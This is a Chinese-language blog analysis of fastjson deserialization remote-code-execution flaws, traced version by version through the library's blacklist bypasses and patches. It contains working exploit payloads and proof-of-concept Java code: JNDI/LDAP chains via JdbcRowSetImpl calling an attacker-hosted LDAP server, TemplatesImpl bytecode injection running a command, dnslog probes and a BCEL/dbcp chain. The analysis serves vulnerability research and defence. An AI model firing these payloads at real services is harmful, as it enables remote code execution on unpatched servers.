fastjson反序列化漏洞分析
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
“本文是对fastjson反序列化漏洞的分析,也是java反序列化系列的第四篇文章。”
fastjson是一个由阿里巴巴维护的一个json库。其采用一种”假定有序快速匹配算法”,是号称java中最快的json库,其可以将json数据与java Object之间相互转换。2017年官方在github上发布了反序列化漏洞的相关升级公告,fastjson在1.2.24以及之前版本存在远程代码执行漏洞,本文主要是对fastjson漏洞的相关分析。 0x02: fastjosn各版本分析 使用到的相关测试代码: 使用fastjson将json对象转回Object的方法,主要API有两个,JSON.parseObject和JSON.parse,最主要的区别是前者返回的是JsonObject,后者返回的是实际类型的对象,当没有对应类的定义的情况下,通常使用的是JSON.parseObject。 fastjosn接收的json通过@type字段来指定该JSON应该还原成何种类型的对象,fastjson会自动将json的key:value值映射到@type对应的类中,在反序列化时方便操作。
2.1:fastjson<1.2.24 2.1.1:版本分析 2.1.1.1:1.1.20版本 Maven配置,这里使用的是fastjson 1.1.20版本,pom.xml如下,后续版本只需要更改<version>中的相关版本即可: 在该版本下,执行上面测试代码,输出结果如下: 根据输出结果发现,其会自动调用@type指定类的默认构造器,之后调用类对应的setter、getter和is方法。该版本中,默认开启autotype,而@type就是autotype功能,该功能会自动将json的key:value值映射到@type对应的类中,进行反序列化操作。 值得注意的是,测试代码中public sex和private address都没有setter、getter方法,而public sex被成功赋值了,这是因为address属性是private(私有)的。
2.1.1.2:1.2.22及1.1.54.android
该版本中,增加了SupportNonPublicField特性,此时private address就算没有setter、getter也能成功赋值。
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.1.20</version>
</dependency>
</dependencies>
私有字段address也被成功赋值。
2.1.2 利用分析
2.1.2.1:JdbcRowSetImpl.json
fastjson在1.2.24及之前没有任何防御策略,且autotype默认开启。
如下是常用的com.sun.JdbcRowSetImpl利用链:
//payload >= 1.1.16 && payload <= 1.2.24
{
"@type":"com.sun.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}
使用JdbcRowSetImpl利用链进行漏洞利用
java编译生成Exploit.class文件。
在生成的Exploit.class文件目录下,使用python开启简单的HTTP服务,之后使用marshalsec转发,创建ldap服务。
http://192.168.1.6:8081/#Exploit
编写paylod。
import com.alibaba.fastjson.JSON;
public class payload {
public static void main(String[] args) {
String payload="{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168
.59.203:1389/Exploit","autoCommit":true}}";
JSON.parse(payload);
}
}
执行即可触发漏洞。
利用链分析
那我们先追踪一下JdbcRowSetImpl类以及其dataSourceName、AutoCommit的setter、getter方法。
跟进com.sun.JdbcRowSetImpl类,其继承于BaseRowSet类。
同样,在JdbcRowSetImpl类中存在setAutoCommit和getAutoCommit方法,而setAutoCommit中调用了connect( )方法。
因此在反序列时,payload中的dataSourceName和autoCommit通过setDataSourceName和setAutoCommit进行赋值,而在setAutoCommit中会调用connect方法,connect方法中又调用了lookup()方法,lookup在传入的参数就是JNDI名称,因此导致可以利用rmi/ldap方法进行远程调用。
2.1.2.2:TemplatesImpl.json
还有一个利用链是:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":[base64编码后的payload],
"_name":"aaa",
"_tfactory": {},
"_outputProperties": {}
}
将paylaod恶意代码进行base64编码后即为生成的_bytecodes。
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
public class Test3 {
public static void main(String[] args) throws Exception {
String evilCode_base64 = readClass();
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload = "{'rand1':{" +
""@type":"" + NASTY_CLASS + ""," +
""_bytecodes":["" + evilCode_base64 + ""]," +
"'_name':'aaa'," +
"'_tfactory':{}," +
"'_outputProperties':{}" +
"}}n";
System.out.println(payload);
JSON.parse(payload, Feature.SupportNonPublicField); 成功
}
public static class AaAa {
}
public static String readClass() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(AaAa.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "AaAa" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
byte[] evilCode = cc.toBytecode();
return Base64.encodeBase64String(evilCode);
}
}
执行即可触发漏洞。
利用链分析
该利用链中最重要的是_bytecodes,但其为private私有字段,且没有setter方法,因此使用该payload需要设置Feature.SupportNonPublicField,所以该payload利用条件比较苛刻。
TemplatesImpl类中_bytecodes、_tfactory、_name、_outputProperties、_class并没有对应的setter,且只有_outputProperties有对应的getter,即getOutputProerties()方法,那如何利用呢?
这里用的就是FieldDeserializer.setValue方法,对于反序列化的目标类而言,如果只有字段对应的getter方法时,则会调用相应的getter方法。
_outputProperties字段在TemplatesImpl类中有getOutputProperties()方法,跟进一下此方法。
getOutputProperties方法里会调用newTransformer方法,newTransformer方法在实例化TransformerImpl时会调用getTransletInstance。
getTransletInstance进一步调用defineTransletClasses()方法。
在defineTransletClasses方法中会根据_bytecodes来生成一个java类,生成的java类随后会被getTransletInstance方法用到生成一个实例,最终执行命令Runtime.getRuntime.exec()。
值得注意的是,ysoserial的cc3利用链也是使用到了TemplatesImpl类来动态生成可执行命令的代码,在无commons-collections的Shiro反序列化利用时也可能会用到此类,其本质是TemplatesImpl类中调用了defineClass方法去动态加载字节码,调用链如下:
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
2.2:fastjson 1.2.25-1.2.41
2.2.1:版本分析
将Meaven的pom.xml里fastjson的版本更换为1.2.25,再次用前面的测试案例进行测试,发现报错:
报错提示,不支持autoType,这是因为该版本默认关闭了autoType功能,并且加入了黑名单和白名单来防御autoType开启的情况,同时增加checkAutoType方法对@type指定的类进行黑白名单检查,这些检测中,白名单优先级最高,白名单如果允许就不检测黑名单与危险类,否则继续检测。
黑名单如下。
之后的很多漏洞主要是对checkAutotype及本身逻辑缺陷导致的绕过。
在ParserConfig.checkAutoType方法中,主要的检测步骤如下:
步骤1:开启了autoTypeSupport,先检查白名单,再检查黑名单
步骤2:从class mapping中尝试获取目标类
步骤3:未开启autoTypeSupport时,先检查黑名单,再检查白名单
步骤4:如果autoTypeSupport开启,就加载目标类,如果目标类已加载,则判断是否是ClassLoader、DateSource的子类或子接口
2.2.2:利用分析
2.2.2.1. JdbcRowSetImpl.json
该版本主要是对步骤4的绕过,当然前提是前3个检查步骤都通过,在步骤4中如果autoTypeSupport开启,就加载目标类。
跟进TypeUtils.loadClass()方法,首先会使用startsWith和endWith方法判断ClasName首尾是否是”L”和”;”,如果是则去掉className前后的”L”和”;”,并调用loadClass方法加载对应的类,那如果将@type中的目标类写成”Lcom.sun.rowset.JdbcRowSetImpl;”,就可以导致绕过。
如上方法的JdbcRowSetImpl利用链:
{
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
payload:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class payload3 {
public static void main(String[] args) {
String payload="{'name':{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://192.168.59.203:1389/Exploit","autoCommit": true}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(payload);
}
}
执行即可触发漏洞,由于用的测试版本是1.2.25,需要设置ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
2.3:fastjson 1.2.42
2.3.1:版本分析
将Meaven的pom.xml里fastjson的版本更换为1.2.42。
1.2.42中,黑名单采用十进制的hashcode形式匹配,checkAutotype检测也进行了相应hash运算。
而对于1.2.25~1.2.41的checkAutoType绕过修复方法是判断className前后是不是”L”和”;”,如果是,就截取第二个字符和到倒数第二个字符。截取之后过程就和1.2.25~1.2.41版本利用方法一样了,会调用TypeUtils.loadClass()方法加载目标类,而TypeUtils.loadClass()方法会再次判断className前后是不是L和;,如果是则加载目标类,这就导致双写绕过。
如下TypeUtils.loadClass(String,ClassLoader)方法会再次判断className前后是不是”L”和”;”,如果是则加载目标类,这就导致双写绕过。
2.3.2:利用分析
2.3.2.1:JdbcRowSetImple.json
跟据如上分析,如上方法的JdbcRowSetImpl利用链如下:
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://192.168.59.203:1389/Exploit",
"autoCommit":true
}
payload:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class payload5 {
public static void main(String[] args) {
String payload = "{"name":{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://192.168.59.203:1389/Exploit","autoCommit":true}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(payload);
}
}
执行即可触发漏洞。
2.4:fastjson 1.2.43
2.4.1:版本分析
将Meaven的pom.xml里fastjson的版本更换为1.2.43。
针对1.2.42中的绕过,1.2.43版本中在chackAutoType第一个if条件之下(L开头,;结尾),又加了一个以LL开头的条件,如果第一个条件满足且以LL开头,直接抛出异常。
但是TypeUtils.loadClass(String,ClassLoader)方法对”[“也进行了特殊处理,导致再次绕过。
2.4.2:利用分析
2.4.2.1:JdbcRowSetImple.json
跟据如上分析,如上方法的JdbcRowSetImpl利用链如下:
{"name":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}
pyaload:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class payload4 {
public static void main(String[] args) {
String payload4="{'name':{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://192.168.59.203:1389/Exploit","autoCommit":true}]}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(payload4);
}
}
执行即可触发漏洞。
2.5:fastjson 1.2.44
2.5.1:版本分析
将Meaven的pom.xml里fastjson的版本更换为1.2.44。
版本中删除了之前的”L”开头,”;”结尾、 “LL”开头的判断,改成了”[“开头就抛异常,”;”结尾也抛异常,因此修复了之前的双写等绕过方法。
2.6:fastjson 1.2.45-1.2.46
2.6.1:版本分析
该版本期间增加了黑名单,未发生checkAutoType绕过。
2.7:fastjson 1.2.47
2.7.1:版本分析
该版本存在不开启autoType情况的绕过,主要利用的是java.lang.class这个类,该类不在黑名单中,因而可以绕过checkAutoType方法检查,主要利用的思路是在deserializer中,java.lang.Class类由MiscCodec类负责处理,其会加载json数据中key为“val”的value值,那如果将val的值设置为“com.sun.row.JdbcRowSetImpl”类,就可以将JdbcRowSetImpl加载到内存中,同时,添加到缓存即class mapping里。
在前文分析的ParserConfig.checkAutoType方法中,其会对@type指定的类进行检查,在检查步骤2中,即autoTypeSupport未开启,或autoTypeSupport开启时,黑白名单均未匹配上,则从class mapping中尝试获取目标类,这就导致可以组合利用绕过检测。
2.7.2:利用分析
2.7.2.1:Class.json
java.lang.Class利用链如下:
{
"rand1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"rand2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
payload:
import com.alibaba.fastjson.JSON;
public class payload6 {
public static void main(String[] args) {
String payload = "{n" +
" "rand1": {n" +
" "@type": "java.lang.Class", n" +
" "val": "com.sun.rowset.JdbcRowSetImpl"n" +
" }, n" +
" "rand2": {n" +
" "@type": "com.sun.rowset.JdbcRowSetImpl", n" +
" "dataSourceName": "ldap://192.168.59.203:1389/Exploit", n" +
" "autoCommit": truen" +
" }n" +
"}";
JSON.parse(payload);
}
}
执行即可触发漏洞。
下面分析fastjson对该payload的处理过程。
在ParserConfig.checkAutoType()方法中,会从deserializers中查找需要处理的类是否在其中,此处即java.lang.class。
跟进findclass。
之后会使用DefaultJSONParser.checkAutoType方法来检测,这里传入的类就是java.lang.class。
而java.lang.class并不在黑名单中,因此黑名单检测通过,检查完成后,回到DefaultJSONParser.parseObject()方法中,会调用负责处理java.lang.Class类型数据的类进行处理。
在ParserConfig.getDeserializer(Type)方法可以看到,java.lang.Class由MiscCodec类进行处理。
获取MiscCodec对象实例之后,调用其deserialze()方法,对后续数据进行处理。
在MiscCodec.deserialze方法中,后续的数据中,需包含key为“val”的数据,否则会抛出异常。
这里会调用DefaultJSONParser#parser方法来取出对应的value,即传入的恶意类com.sun.rowset.JdbcRowSetImpl。
随后,会根据clazz的类型进行针对处理,这里为java.lang.Class类,则会调用TypeUtils.loadClass加载val对应的类,即com.sun.rowset.JdbcRowSetImpl类。
跟进loadClass方法,先从缓存中获取相应的类,如果缓存中不存在,则会从classLoader中加载,并将其添加到缓存中,这里将恶意类 com.sun.rowset.JdbcRowSetImpl放到mapping中,放到mapping之前有个if判断,如果cache为true的情况下,就放到mapping中,而这里的cache实际上默认就是为true的,即对加载的类进行缓存。
再回到checkAutoType中,如果当前mapping中存在恶意类,那么这里会从mapping中取出恶意类赋值给clazz,然后因为代码中clazz不为空,所以这里直接返回了恶意类。
rand1将JdbcRowSetImpl加载到了缓存中,因此在解析rand2时,@type目标类“com.sun.rowset.JdbcSetImpl”,会通过TypeUtils.getClassFromMapping()从缓存中进行加载,如下所示。
2.8:fastjson 1.2.48—1.2.68
2.8.1:版本分析
2.8.1.1:1.2.48
1.2.48修复了1.2.47的绕过,在MiscCodec,处理Class类的地方,设置了cache为false:将java.net.InetAddress和java.lang.Class加入黑名单。
在1.2.48到最新版本1.2.68之间,都是增加黑名单类,可参考【https://github.com/LeadroyaL/fastjson-blacklist】
2.8.1.2:1.2.68
1.2.68版本中引入了safemode,打开safemode时,@type就没用了,无论白名单和黑名单,都不支持autoType了。
0x03: fastjson利用
3.1:探测
目前fastjson探测比较通用的就是dnslog方式去探测,其中Inet4Address、Inet6Address直到1.2.67都可用。
{"rand1":{"@type":"java.net.InetAddress","val":"http://dnslog"}}
{"rand2":{"@type":"java.net.Inet4Address","val":"http://dnslog"}}
{"rand3":{"@type":"java.net.Inet6Address","val":"http://dnslog"}}
{"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}}
{"rand5":{"@type":"java.net.URL","val":"http://dnslog"}}
3.2:出网
基于JNDI注入,jndi利用,其中分为rmi或者ldap,使用ldap限制比rmi小,详见2.1.2.1。
3.3:不出网
3.3.1:直接反序列化(_bytecodes)
Poc基于TemplatesImpl,详见2.1.2.2。
3.3.2:直接反序列化(dbcp)
org.apache.tomcat.dbcp.dbcp.BasicDataSource对象被Fastjson反序列化时,首先通过setter方法设置其driverClassLoader和driverClassName属性,然后会调用其getConnection方法,又最终调用了createConnectionFactory方法,其通过Class.forName方法用driverClassLoader加载driverClassName,并设置是否初始化参数为true。forName方法底层的加载逻辑仍是调用类加载器的loadClass方法加载自定义类。
driverClassLoader和driverClassName都是json传入,可控,那么若将driverClassLoader设置为com.sun.org.apache.bcel.internal.util.ClassLoader,driverClassName设置为经BCEL编码后的自定义类,那么就实现了在反序列化时加载自定义类的目的。于是攻击者可以在static代码块中编写恶意代码,将其进行BCEL编码,在类初始化时实现恶意代码执行。
依赖包tomcat-dbcp使用也比较广泛,是Tomcat的数据库驱动组件:
Spring在第三方依赖包中包含了两个数据源的实现类包,其一是Apache的DBCP
org.apache.commons.dbcp.BasicDataSource
#tomcat7及以下 (tomcat部署自带)
org.apache.tomcat.dbcp.dbcp.BasicDataSource
#tomcat8以上 (tomcat部署自带)
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
构造:
{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},
{"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassLoader":
{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":
"$BCEL$$l$8b$I$A....."}
0x4 结语
fastjson反序列化漏洞最开始主要在对数据解析的理解上,@type字段是如何解析目标类的,后续主要是对其修复方法的绕过以及利用链的分析,再就是对java中动态加载字节码的理解,如TemplatesImpl和BCEL。java中的这些反序列化漏洞其实可以综合起来去分析理解,ysoserial中也用到了TemplatesImpl,shrio中的一些利用链也会用到此类,向p牛学习~。
参考资料:
[1]Java安全学习笔记—wal613
[2]https://paper.seebug.org/1192/#fastjson
[3]http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/5685.html